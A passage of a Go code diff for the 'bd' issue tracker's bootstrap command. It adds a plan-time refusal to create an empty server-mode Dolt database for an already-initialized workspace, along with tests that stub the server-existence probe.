forge SyncRemote already recorded (planConfiguredSyncRemote keeps it + // for the workspace it expected to create), and no Blocked plan wires + // up, clones from, or pushes to a remote. Inert for execution — every + // consumer of plan.SyncRemote runs on a sync/provisioning action. + plan.SyncRemote = "" + } else { plan.BlockedRemote = "" } return plan @@ -436,8 +469,22 @@ func detectBootstrapPlan(beadsDir string, cfg *configfile.Config) BootstrapPlan // probe-error branch, which then inherited HasExisting=true and printed the // #5743 success tick again. var deferredExistingPlan *BootstrapPlan - if dbAction, ok := existingBootstrapDBPlan(beadsDir, cfg, isServer, isSharedServer); ok { - if beadsDirExists || dbAction.Action != "none" { + dbAction, dbProbe, hasExistingDB := existingBootstrapDBPlan(beadsDir, cfg, isServer, isSharedServer) + // The same masking hazard applies to a server-side hit with no local + // evidence. Probing on ProjectID alone (see existingBootstrapDBPlan) means + // a shadow-dir-less workspace now reaches the Exists arm, where the only + // thing matched is the database NAME — nothing checks that the database on + // the server holds this project's data. Such a workspace previously + // skipped the probe entirely and always fell through to sync.remote, so + // settling here would let a stale or unrelated same-named database (including + // one left behind by the very bug this guard fixes) silently suppress the + // configured recovery path. Defer it exactly as a missing beadsDir is + // deferred: sync.remote / refs/dolt/data / local files get their turn, and + // the name match survives as the fallback verdict rather than becoming the + // verdict. + settledOnNameAlone := dbProbe.Ran && !dbProbe.LocalEvidence + if hasExistingDB { + if dbAction.Action != "none" || (beadsDirExists && !settledOnNameAlone) { return dbAction } deferredExistingPlan = &dbAction @@ -484,6 +531,16 @@ func detectBootstrapPlan(beadsDir string, cfg *configfile.Config) BootstrapPlan return plan } + // Every recovery source has now been ruled out, so the fall-through below + // is a fresh, empty database. Decide the refusal HERE rather than inside + // executeInitAction: at plan time the answer reaches --dry-run and --json, + // printBootstrapPlan never advertises "will create fresh database" for a + // plan that cannot run, and confirmPrompt never asks the operator to + // approve one. The probe result is reused, so no second dial is needed. + if refusal, refused := refuseServerModeInitPlan(plan, cfg, isServer, isSharedServer, dbProbe); refused { + return refusal + } + // Fresh setup plan.Action = "init" plan.Reason = "No existing database, remote, or backup — will create fresh database" @@ -600,77 +657,176 @@ func localFileRecoveryPlan(plan BootstrapPlan, beadsDir string) (BootstrapPlan, return BootstrapPlan{}, false } -func existingBootstrapDBPlan(beadsDir string, cfg *configfile.Config, isServer, isSharedServer bool) (BootstrapPlan, bool) { +// refuseServerModeInitPlan turns a would-be fresh "init" into an explicit +// "refuse" plan when metadata.json proves this workspace was already +// initialized (ProjectID set) and the configured server-mode database could +// not be confirmed to exist. Creating one here would strand the existing issue +// data behind a new, empty database of the same name — the same root cause +// PR #5791 (open, not yet merged) addresses for bd init. +// +// Reaching the init fall-through already implies the database was not +// confirmed: existingBootstrapDBPlan returns a settled "none" plan whenever a +// probe found it. The probe is passed in rather than re-run so the refusal +// costs no extra round-trip and can quote why the check failed. +func refuseServerModeInitPlan(plan BootstrapPlan, cfg *configfile.Config, isServer, isSharedServer bool, probe serverDBProbe) (BootstrapPlan, bool) { + if !isServer || cfg.ProjectID == "" || !probe.Ran || probe.Exists { + return BootstrapPlan{}, false + } + host := cfg.GetDoltServerHost() + port := bootstrapServerPort(plan.BeadsDir, cfg, isSharedServer) + plan.Action = "refuse" + plan.Reason = bootstrapMissingServerDBSummary(plan.Database, host, port, probe.Err) + plan.refusalDetail = bootstrapMissingServerDBRefusal(plan.Database, host, port, probe.Err).Error() + return plan, true +} + +// serverDBProbe records what a server-mode existence probe concluded, so the +// answer can be reused by the init fall-through instead of dialing the server +// a second time. +type serverDBProbe struct { + Ran bool // a probe was actually performed + Exists bool // the server confirmed the database exists + Err error // the probe could not reach or question the server + // LocalEvidence records whether anything on this machine ties this + // workspace to the database the probe asked about — in practice a + // populated local shadow directory. Without it the probe can only match + // on the database NAME, which is why the caller refuses to let an + // Exists verdict settle the plan ahead of the real recovery sources. + LocalEvidence bool +} + +// existingBootstrapDBPlan reports whether an existing database already settles +// the bootstrap plan. The returned serverDBProbe carries the server-mode +// probe result — including on the false path, where the caller needs it to +// decide whether a fall-through to "init" is safe. +func existingBootstrapDBPlan(beadsDir string, cfg *configfile.Config, isServer, isSharedServer bool) (BootstrapPlan, serverDBProbe, bool) { plan := BootstrapPlan{ BeadsDir: beadsDir, Database: cfg.GetDoltDatabase(), } - var dbPath string if isServer { - dbPath = bootstrapServerDoltDir(beadsDir, cfg, isSharedServer) - } else { - dbPath = filepath.Join(beadsDir, "embeddeddolt") + // Scope note: this is per-workspace evidence in locally-managed server + // mode only. In shared-server mode bootstrapServerDoltDir resolves to + // doltserver.SharedDoltDir() — ~/.beads/shared-server/dolt/, one + // directory for EVERY shared-server database on the machine — so a + // fresh clone of project B reads a populated directory belonging to + // projects A and C. Everything below that calls this "local evidence" + // is therefore only sound for the locally-managed case; the + // shared-server granularity gap is pre-existing (main probes on the + // same signal) and is tracked separately rather than narrowed here, + // because keying on the database-named subdirectory would also change + // the locally-managed verdict for a data dir holding only .doltcfg. + dbPath := bootstrapServerDoltDir(beadsDir, cfg, isSharedServer) + hasLocalShadowDir := false + if info, err := os.Stat(dbPath); err == nil && info.IsDir() { + if entries, _ := os.ReadDir(dbPath); len(entries) > 0 { + hasLocalShadowDir = true + } + } + // A missing/empty local shadow directory normally means no database + // exists yet. But when metadata.json carries a ProjectID, this + // workspace was already initialized somewhere — most likely a fresh + // clone of an already-bootstrapped server-mode project, which has no + // local shadow directory by design. In that case, skip the local-dir + // short-circuit and live-probe the server directly rather than + // concluding "no database" from local-disk state alone. + if !hasLocalShadowDir && cfg.ProjectID == "" { + return BootstrapPlan{}, serverDBProbe{}, false + } + + // Retry the reachable-but-absent window only when the local shadow + // directory says this database really does live here; see + // probeBootstrapServerDB for why a fresh clone must not pay 70s. + result := probeBootstrapServerDB(beadsDir, cfg, isSharedServer, hasLocalShadowDir) + probe := serverDBProbe{Ran: true, Exists: result.Exists, Err: result.Err, LocalEvidence: hasLocalShadowDir} + + if result.Exists { + plan.HasExisting = true + plan.Action = "none" + plan.Reason = fmt.Sprintf("Database %s already exists on server at %s:%d", cfg.GetDoltDatabase(), cfg.GetDoltServerHost(), bootstrapServerPort(beadsDir, cfg, isSharedServer)) + return plan, probe, true + } + // An unverifiable probe means UNKNOWN, never "exists". Answering + // "nothing to do" for it is only defensible with local evidence that + // the database lives here — a populated shadow directory (in + // locally-managed server mode; see the scope note above, it is not + // per-database in shared-server mode), where a down server is a live + // database we simply cannot see right now. + // Without that evidence the very same error describes a fresh clone + // whose server has not been started yet, which is the normal state of + // every locally-managed server-mode clone before its first sync. Such + // a clone must stay eligible for sync.remote, refs/dolt/data, + // .beads/backup/ and issues.jsonl, so report "not found" and let + // detectBootstrapAction consult them. + // + // When it does settle here, Blocked is still not hand-set: + // detectBootstrapAction derives it from Action=="none" && !HasExisting + // (HasExisting is false on this branch), keeping one owner for the flag + // and the #5743 non-zero exit rather than a false success tick. + if result.Err != nil && hasLocalShadowDir { + plan.Action = "none" + plan.Reason = fmt.Sprintf("Could not verify existing server database %s: %v", cfg.GetDoltDatabase(), result.Err) + return plan, probe, true + } + return BootstrapPlan{}, probe, false } + + dbPath := filepath.Join(beadsDir, "embeddeddolt") if info, err := os.Stat(dbPath); err != nil || !info.IsDir() { - return BootstrapPlan{}, false + return BootstrapPlan{}, serverDBProbe{}, false } entries, _ := os.ReadDir(dbPath) if len(entries) == 0 { - return BootstrapPlan{}, false - } - - if isServer { - probeCfg := bootstrapServerProbeConfig{ - host: cfg.GetDoltServerHost(), - port: bootstrapServerPort(beadsDir, cfg, isSharedServer), - user: cfg.GetDoltServerUser(), - pass: cfg.GetDoltServerPassword(), - database: cfg.GetDoltDatabase(), - tls: cfg.GetDoltServerTLS(), - } - // When the server is reachable but the DB appears absent, retry with - // exponential backoff before concluding the DB is genuinely missing. - // A managed Dolt restart completes in <30 s; three retries over 70 s - // cover all observed restart windows. - retryDelays := []time.Duration{10 * time.Second, 20 * time.Second, 40 * time.Second} - var result bootstrapServerDBCheck - for attempt := 0; ; attempt++ { - result = checkBootstrapServerDB(probeCfg) - if result.Err != nil || result.Exists || !result.Reachable { - break - } - if attempt >= len(retryDelays) { - break - } - fmt.Fprintf(os.Stderr, "Database %s not found on reachable server (attempt %d/%d), retrying in %v (possible transient restart)\n", - cfg.GetDoltDatabase(), attempt+1, len(retryDelays), retryDelays[attempt]) - bootstrapRetryDelay(retryDelays[attempt]) - } - if result.Err != nil { - // Same "declined, and no database was confirmed" class as a - // failed remote probe: report it and exit non-zero rather than - // printing a success tick (#5743). Blocked is not hand-set here — - // detectBootstrapAction derives it from Action=="none" && !HasExisting - // (HasExisting is false on this branch), keeping one owner for the flag. - plan.Action = "none" - plan.Reason = fmt.Sprintf("Could not verify existing server database %s: %v", cfg.GetDoltDatabase(), result.Err) - return plan, true - } - if result.Exists { - plan.HasExisting = true - plan.Action = "none" - plan.Reason = fmt.Sprintf("Database %s already exists on server at %s:%d", probeCfg.database, probeCfg.host, probeCfg.port) - return plan, true - } - return BootstrapPlan{}, false + return BootstrapPlan{}, serverDBProbe{}, false } plan.HasExisting = true plan.Action = "none" plan.Reason = "Database already exists at " + dbPath - return plan, true + return plan, serverDBProbe{}, true +} + +// probeBootstrapServerDB checks whether the configured database exists on +// the Dolt server. +// +// When retryTransient is set, a reachable server that reports the database +// absent is retried with backoff, because a managed Dolt restart can +// transiently look like a missing database for up to ~30s. That budget costs +// 70s, so it is only worth paying when something independent says the +// database really is supposed to be here — in practice, a populated local +// shadow directory. A caller with no such evidence (a fresh clone, which by +// design has no shadow directory) is not watching a database disappear; it is +// simply ahead of its first sync, and must pass retryTransient=false so the +// answer costs one round-trip instead of 70s. +func probeBootstrapServerDB(beadsDir string, cfg *configfile.Config, isSharedServer, retryTransient bool) bootstrapServerDBCheck { + probeCfg := bootstrapServerProbeConfig{ + host: cfg.GetDoltServerHost(), + port: bootstrapServerPort(beadsDir, cfg, isSharedServer), + user: cfg.GetDoltServerUser(), + pass: cfg.GetDoltServerPassword(), + database: cfg.GetDoltDatabase(), + tls: cfg.GetDoltServerTLS(), + } + if !retryTransient { + return checkBootstrapServerDB(probeCfg) + } + retryDelays := []time.Duration{10 * time.Second, 20 * time.Second, 40 * time.Second} + var result bootstrapServerDBCheck + for attempt := 0; ; attempt++ { + result = checkBootstrapServerDB(probeCfg) + if result.Err != nil || result.Exists || !result.Reachable { + break + } + if attempt >= len(retryDelays) { + break + } + fmt.Fprintf(os.Stderr, "Database %s not found on reachable server (attempt %d/%d), retrying in %v (possible transient restart)\n", + cfg.GetDoltDatabase(), attempt+1, len(retryDelays), retryDelays[attempt]) + bootstrapRetryDelay(retryDelays[attempt]) + } + return result } func bootstrapSharedServerMode(beadsDir string) bool { @@ -769,6 +925,21 @@ func printBootstrapPlan(plan BootstrapPlan) { case "init": fmt.Printf("Bootstrap plan: create fresh database\n") fmt.Printf(" Database: %s\n", plan.Database) + case "refuse": + // Deliberately the one-line summary, not refusalDetail: the full + // explanation is the error executeBootstrapPlan returns, and printing + // both would render it twice. + // + // Deliberately stdout, unlike the "none"+Blocked arm above: this is the + // plan the command was asked to compute, and the one-line Reason rides + // with it (pinned by TestPrintBootstrapPlan_RefusePrintsSummaryNotDetail) + // so a stdout-only consumer is never left with a bare "refuse". It is + // not the #5743 false-success class either — a real refuse run exits + // non-zero through executeBootstrapPlan, so nothing reads this as + // success. + fmt.Printf("Bootstrap plan: refuse — will NOT create a database\n") + fmt.Printf(" Database: %s\n", plan.Database) + fmt.Printf(" Reason: %s\n", plan.Reason) } } @@ -792,6 +963,16 @@ func executeBootstrapPlan(plan BootstrapPlan, cfg *configfile.Config, nonInterac if err := requireBootstrapDoltBackend(cfg, plan.BeadsDir); err != nil { return err } + // A refusal is a decision, not an action awaiting approval: surface it + // before confirmPrompt so the operator is never asked to approve it, and + // before the workspace gates below so no state is touched. + if plan.Action == "refuse" { + detail := plan.refusalDetail + if detail == "" { + detail = plan.Reason + } + return errors.New(detail) + } if !confirmPrompt("Proceed?", nonInteractive) { fmt.Fprintf(os.Stderr, "Aborted.\n") return nil @@ -836,6 +1017,10 @@ func executeBootstrapPlan(plan BootstrapPlan, cfg *configfile.Config, nonInterac } func executeInitAction(ctx context.Context, plan BootstrapPlan, cfg *configfile.Config) error { + if err := refuseServerModeInitForExistingProject(plan, cfg); err != nil { + return err + } + prefix := inferPrefix(cfg) dbName := cfg.GetDoltDatabase() @@ -884,6 +1069,86 @@ func wireBootstrapDoltRemote(ctx context.Context, s storage.DoltStorage, plan Bo configureInitDoltRemote(ctx, s, doltRemoteURL(plan.SyncRemote), false) } +// refuseServerModeInitForExistingProject is the belt-and-braces half of the +// guard whose real decision is made at plan time by refuseServerModeInitPlan. +// It re-checks, at the last moment before a database would actually be +// created, that this workspace is not an already-initialized project +// (ProjectID set) whose server-mode database cannot be confirmed to exist — +// covering any caller that reaches executeInitAction with a plan that did not +// come from detectBootstrapAction. +// +// It deliberately probes ONCE. The transient-restart backoff belongs to the +// plan-time probe; repeating it here would charge a second 70s to a decision +// that has already been made, and refusing is the safe direction anyway. +func refuseServerModeInitForExistingProject(plan BootstrapPlan, cfg *configfile.Config) error { + isSharedServer := bootstrapSharedServerMode(plan.BeadsDir) + if (!cfg.IsDoltServerMode() && !isSharedServer) || cfg.ProjectID == "" { + return nil + } + result := probeBootstrapServerDB(plan.BeadsDir, cfg, isSharedServer, false) + if result.Exists { + return nil + } + host := cfg.GetDoltServerHost() + port := bootstrapServerPort(plan.BeadsDir, cfg, isSharedServer) + return bootstrapMissingServerDBRefusal(cfg.GetDoltDatabase(), host, port, result.Err) +} + +// bootstrapMissingServerDBSummary is the single-line, unstyled form of +// bootstrapMissingServerDBRefusal, used as BootstrapPlan.Reason so --json +// consumers get the explanation without ANSI escapes. +func bootstrapMissingServerDBSummary(dbName, host string, port int, probeErr error) string { + if probeErr != nil { + return fmt.Sprintf("Could not verify database %q on Dolt server at %s:%d (%v); workspace already initialized (project_id set) — refusing to create an empty database", dbName, host, port, probeErr) + } + return fmt.Sprintf("Database %q not found on server at %s:%d; workspace already initialized (project_id set) — refusing to create an empty database", dbName, host, port) +} + +// bootstrapMissingServerDBRefusal builds the refusal error shown when bd +// bootstrap would otherwise create a fresh, empty server-mode database for a +// workspace that was already initialized elsewhere. Per GH#2363, this must +// never suggest a destructive "recreate" action as an actionable next step. +// +// The equivalent guard for `bd init` is proposed in PR #5791, which is open +// and not yet merged; this wording is kept deliberately close to it so the +// two can share one message once that lands. +func bootstrapMissingServerDBRefusal(dbName, host string, port int, probeErr error) error { + var b strings.Builder + if probeErr != nil { + fmt.Fprintf(&b, "\n%s Could not verify database %q on Dolt server at %s:%d: %v\n", ui.RenderWarn("⚠"), dbName, host, port, probeErr) + } else { + fmt.Fprintf(&b, "\n%s Database %q not found on server at %s:%d.\n", ui.RenderWarn("⚠"), dbName, host, port) + } + b.WriteString("This workspace was already initialized (metadata.json has a project_id from a prior\n") + b.WriteString("bd init/bootstrap), so this looks like a recovery situation, not a fresh clone.\n") + + b.WriteString("\nbd bootstrap will NOT create an empty database here — that would strand any existing\n") + b.WriteString("issue data behind a new, empty database of the same name.\n") + + b.WriteString("\nDiagnose with:\n") + b.WriteString(" bd doctor # check project health\n") + b.WriteString(" bd dolt status # inspect Dolt server state\n") + + // Every route here must be followable FROM this state. `bd backup restore` + // alone is not: it restores a Dolt-native snapshot, not a `bd export` + // JSONL, and it requires an initialized database — so it silently routes + // the operator back through `bd init`, the very unguarded door this + // refusal exists to keep shut (PR #5791). Name that precondition instead + // of implying it, and lead with the routes that need no init at all. + b.WriteString("\nTo recover existing data, repopulate the database rather than creating fresh.\n") + b.WriteString("Routes that work from this state:\n") + b.WriteString(" bd dolt push # from another clone that still has the data\n") + b.WriteString(" bd config set sync.remote # then re-run bd bootstrap to clone from it\n") + b.WriteString(" bd init && bd backup restore # ONLY with a Dolt-native backup snapshot:\n") + b.WriteString(" # bd backup restore needs an initialized\n") + b.WriteString(" # database and will not read a bd export JSONL\n") + b.WriteString("\nbd bootstrap only auto-restores .beads/backup/issues.jsonl, so a timestamped or\n") + b.WriteString("otherwise-named export under .beads/backup/ is still yours to import by hand.\n") + + b.WriteString("\nAborting.") + return errors.New(b.String()) +} + func executeRestoreAction(ctx context.Context, plan BootstrapPlan, cfg *configfile.Config) error { prefix := inferPrefix(cfg) dbName := cfg.GetDoltDatabase() diff --git a/cmd/bd/bootstrap_test.go b/cmd/bd/bootstrap_test.go index 2ab190820..981243e92 100644 --- a/cmd/bd/bootstrap_test.go +++ b/cmd/bd/bootstrap_test.go @@ -3,6 +3,9 @@ package main import ( + "context" + "encoding/json" + "errors" "fmt" "os" "path/filepath" @@ -1839,3 +1842,545 @@ func TestFinalizeSyncedBootstrapSharedServerSetsServerMode(t *testing.T) { t.Errorf("dolt_mode = %q, want %q — shared server should set server mode", loaded.GetDoltMode(), configfile.DoltModeServer) } } + +// TestDetectBootstrapAction_NoLocalShadowDirStillLiveChecksExisting reproduces +// be-cy41 bug #1: existingBootstrapDBPlan returned BootstrapPlan{}, false (and +// detectBootstrapAction fell through toward Action="init") purely because no +// local shadow dolt-data directory existed — but in server mode that is the +// NORMAL state for a fresh clone of an already-initialized project. When +// metadata.json carries a ProjectID (proving this workspace was previously +// initialized), the server-side existence check must still run instead of +// being short-circuited by local filesystem state that a legitimate clone +// will never have (the same ambiguity PR #5791 addresses for bd init; that +// PR is open and not yet merged, so nothing it adds is referenced here). +func TestDetectBootstrapAction_NoLocalShadowDirStillLiveChecksExisting(t *testing.T) { + t.Setenv("BEADS_DOLT_DATA_DIR", "") + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_HOST", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + // Deliberately do NOT create doltDataDir at all — no local shadow + // directory, which is the normal state for a fresh clone of a + // pre-existing server-mode project. + doltDataDir := filepath.Join(tmpDir, "dolt-data") + + oldWd, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + defer func() { _ = os.Chdir(oldWd) }() + if err := os.Chdir(tmpDir); err != nil { + t.Fatal(err) + } + + cfg := configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "project_exists" + cfg.DoltDataDir = doltDataDir + cfg.ProjectID = "proj-already-initialized-456" + t.Setenv("BEADS_DOLT_DATA_DIR", doltDataDir) + + probed := false + origCheck := checkBootstrapServerDB + checkBootstrapServerDB = func(probeCfg bootstrapServerProbeConfig) bootstrapServerDBCheck { + probed = true + if probeCfg.database != "project_exists" { + t.Fatalf("unexpected dbName: %s", probeCfg.database) + } + return bootstrapServerDBCheck{Exists: true, Reachable: true} + } + defer func() { checkBootstrapServerDB = origCheck }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + + if !probed { + t.Fatal("checkBootstrapServerDB was never called — a local-shadow-directory gate short-circuited the real server-side existence check before it could run") + } + if plan.Action != "none" { + t.Fatalf("action = %q, want %q — bootstrap must not plan to recreate a database that already exists on the server just because no local shadow directory is present", plan.Action, "none") + } + if !plan.HasExisting { + t.Error("HasExisting = false, want true") + } +} + +// TestExecuteInitAction_ServerModeExistingProjectMissingDBRefuses reproduces +// be-cy41 bug #2: executeInitAction is mode-blind — it always builds a +// dolt.Config with CreateIfMissing:true, AutoStart:true, and no server +// host/port/mode fields, so it silently creates an embedded-style database +// even for a server-mode workspace. When the workspace was already +// initialized (metadata.json has a project_id — the same signal PR #5791 uses) but +// the configured database is missing on the server, this silently strands any +// existing issue data behind a new, empty database of the same name. +// executeInitAction must refuse instead (the same root cause as PR #5791's +// proposed bd init guard, which is still open). +func TestExecuteInitAction_ServerModeExistingProjectMissingDBRefuses(t *testing.T) { + t.Setenv("BEADS_DOLT_DATA_DIR", "") + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_HOST", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + + oldWd, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + defer func() { _ = os.Chdir(oldWd) }() + if err := os.Chdir(tmpDir); err != nil { + t.Fatal(err) + } + + cfg := configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "myproj" + cfg.ProjectID = "proj-existing-123" + + origCheck := checkBootstrapServerDB + checkBootstrapServerDB = func(probeCfg bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Exists: false, Reachable: true} + } + defer func() { checkBootstrapServerDB = origCheck }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := BootstrapPlan{BeadsDir: beadsDir, Database: "myproj", Action: "init"} + err = executeInitAction(context.Background(), plan, cfg) + + if err == nil { + t.Fatal("executeInitAction succeeded silently for an existing project with a missing server-mode database — want a refusal error") + } + if !strings.Contains(err.Error(), "myproj") { + t.Errorf("error %q does not mention the missing database name %q", err.Error(), "myproj") + } + if !strings.Contains(err.Error(), "will NOT create") && !strings.Contains(err.Error(), "not found on server") { + t.Errorf("error %q does not read as a refusal to auto-create", err.Error()) + } + if _, statErr := os.Stat(filepath.Join(beadsDir, "embeddeddolt")); statErr == nil { + t.Error("executeInitAction created an embedded database as a side effect of a refused server-mode init — no database should have been created at all") + } +} + +// freshServerModeCloneFixture builds the state a fresh clone of an +// already-bootstrapped server-mode project is actually in: .beads/ present +// with a configured sync.remote, metadata.json carrying a ProjectID, and no +// local shadow dolt-data directory (a clone never has one). +func freshServerModeCloneFixture(t *testing.T) (beadsDir string, cfg *configfile.Config) { + t.Helper() + snapshotBootstrapEnv(t) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_HOST", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + tmpDir := t.TempDir() + beadsDir = filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("sync.remote: http://myserver:7007/mydb\n"), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize failed: %v", err) + } + t.Chdir(tmpDir) + cfg = configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "mydb" + cfg.DoltDataDir = filepath.Join(tmpDir, "dolt-data") // never created: fresh clone + cfg.ProjectID = "proj-fresh-clone-789" + t.Setenv("BEADS_DOLT_DATA_DIR", cfg.DoltDataDir) + return beadsDir, cfg +} + +// TestDetectBootstrapAction_FreshCloneUnreachableServerStillSyncs pins the +// rule that an unverifiable probe means UNKNOWN, not "exists". A fresh clone +// of a locally-managed server-mode project has nothing running yet, so +// "connection refused" is its NORMAL state — it must not be converted into +// Action="none" ("nothing to do"), which would hide sync.remote, +// refs/dolt/data, .beads/backup/ and issues.jsonl behind a dead server. +func TestDetectBootstrapAction_FreshCloneUnreachableServerStillSyncs(t *testing.T) { + beadsDir, cfg := freshServerModeCloneFixture(t) + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Reachable: false, Err: errors.New("dial tcp 127.0.0.1:3307: connect: connection refused")} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + if plan.Action != "sync" { + t.Errorf("action = %q (reason %q), want sync: an unreachable server must not veto sync.remote recovery on a fresh clone", plan.Action, plan.Reason) + } +} + +// TestDetectBootstrapAction_FreshCloneReachableAbsentSkipsTransientBackoff +// pins that the 10/20/40s transient-restart budget is only spent when a local +// shadow directory says the database really does live here. A fresh clone has +// no shadow directory by design, so "reachable but absent" is simply "not +// synced yet" and must cost one probe, not 70 seconds. +func TestDetectBootstrapAction_FreshCloneReachableAbsentSkipsTransientBackoff(t *testing.T) { + beadsDir, cfg := freshServerModeCloneFixture(t) + probes := 0 + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + probes++ + return bootstrapServerDBCheck{Reachable: true, Exists: false} + } + defer func() { checkBootstrapServerDB = orig }() + var slept time.Duration + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(d time.Duration) { slept += d } + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + if plan.Action != "sync" { + t.Errorf("action = %q, want sync", plan.Action) + } + if slept > 0 { + t.Errorf("fresh clone with no local DB paid %v of transient-restart backoff before sync", slept) + } + if probes != 1 { + t.Errorf("probes = %d, want exactly 1 — a clone with no local shadow dir has nothing to be transiently missing", probes) + } +} + +// TestDetectBootstrapAction_ShadowDirUnreachableServerStillReportsNone pins +// the other side of that rule: with a populated local shadow directory there +// IS local evidence the database lives here, so an unreachable server is a +// live database we cannot see right now and "nothing to do" remains the +// correct answer. This is main's long-standing behavior and must survive the +// narrowing above. +func TestDetectBootstrapAction_ShadowDirUnreachableServerStillReportsNone(t *testing.T) { + beadsDir, cfg := freshServerModeCloneFixture(t) + if err := os.MkdirAll(filepath.Join(cfg.DoltDataDir, "mydb"), 0o750); err != nil { + t.Fatal(err) + } + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Reachable: false, Err: errors.New("dial tcp 127.0.0.1:3307: connect: connection refused")} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + if plan.Action != "none" { + t.Errorf("action = %q, want none — a populated shadow dir is local evidence the DB exists, so a down server means 'do nothing', not 'recover'", plan.Action) + } + if !strings.Contains(plan.Reason, "Could not verify") { + t.Errorf("reason = %q, want the 'Could not verify' wording", plan.Reason) + } +} + +// TestDetectBootstrapAction_ExistingProjectMissingServerDBRefusesAtPlanTime +// pins that the refusal is a PLAN, not an execute-time surprise. With every +// recovery source absent the fall-through would be a fresh, empty database; +// because metadata.json proves the workspace was already initialized, the +// plan itself must say "refuse" so --dry-run and --json report it and +// printBootstrapPlan never advertises "will create fresh database". +func TestDetectBootstrapAction_ExistingProjectMissingServerDBRefusesAtPlanTime(t *testing.T) { + snapshotBootstrapEnv(t) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_HOST", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + // No sync.remote, no backup, no issues.jsonl: nothing to recover from. + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize failed: %v", err) + } + t.Chdir(tmpDir) + cfg := configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "mydb" + cfg.DoltDataDir = filepath.Join(tmpDir, "dolt-data") + cfg.ProjectID = "proj-already-initialized-456" + t.Setenv("BEADS_DOLT_DATA_DIR", cfg.DoltDataDir) + + probes := 0 + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + probes++ + return bootstrapServerDBCheck{Reachable: true, Exists: false} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + + if plan.Action != "refuse" { + t.Fatalf("action = %q (reason %q), want refuse — an already-initialized workspace must never plan a fresh empty database", plan.Action, plan.Reason) + } + if probes != 1 { + t.Errorf("probes = %d, want exactly 1 — the refusal must reuse the plan-time probe, not dial again", probes) + } + if !strings.Contains(plan.Reason, "mydb") { + t.Errorf("reason = %q does not name the database", plan.Reason) + } + if strings.Contains(plan.Reason, "\x1b[") { + t.Errorf("reason = %q carries ANSI escapes; --json consumers must get plain text", plan.Reason) + } + if plan.refusalDetail == "" { + t.Error("refusalDetail is empty — the operator-facing explanation is lost") + } + if !strings.Contains(plan.refusalDetail, "will NOT create") { + t.Errorf("refusalDetail = %q does not read as a refusal", plan.refusalDetail) + } + + // The machine-readable surface is what provisioning scripts consume, and + // "blocked" — not the action string — is the discriminator they are + // documented to switch on (see the BootstrapPlan.Blocked comment). A + // refusal produced no database, so it must carry the flag; otherwise it is + // the one no-database outcome a "blocked"-keyed consumer reads as success. + if !plan.Blocked { + t.Error("Blocked = false on a refuse plan — a run that produced no database must set the flag scripts 